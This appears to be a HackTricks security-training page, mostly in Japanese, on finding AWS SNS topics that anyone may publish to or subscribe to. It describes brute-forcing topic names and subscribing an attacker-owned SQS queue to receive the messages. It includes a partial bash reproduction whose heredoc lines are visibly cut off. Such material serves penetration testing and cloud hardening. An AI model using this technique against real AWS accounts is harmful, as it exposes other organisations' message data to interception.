# AWS - SNS 未認証の列挙
{{#include ../../../../banners/hacktricks-training.md}}
## SNS
For more information about SNS check:
{{#ref}}
../../aws-services/aws-sns-enum.md
{{#endref}}
### 全員に公開
Web コンソールから SNS トピックを設定する際、トピックに対して **Everyone can publish and subscribe** と指定することができます:
したがって、アカウント内のトピックの **ARN を見つける**(またはトピック名を brute forcing して見つける)ことができれば、それらに対して **publish** または **subscribe** できるかを **確認** できます。
これは、SNS トピックのリソースポリシーが `sns:Subscribe` を `*`(または外部アカウント)に許可しているのと同等です。任意の principal は、今後のすべてのトピックメッセージを自身が所有する SQS キューに配信するサブスクリプションを作成できます。キューの所有者がサブスクリプションを開始した場合、SQS エンドポイントに対して人間の確認は不要です。
再現 (us-east-1)
```bash
REGION=us-east-1
# Victim account (topic owner)
VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)
# Open the topic to anyone subscribing
cat > /tmp/topic-policy.json < /tmp/sqs-policy.json <
{{#include ../../../../banners/hacktricks-training.md}}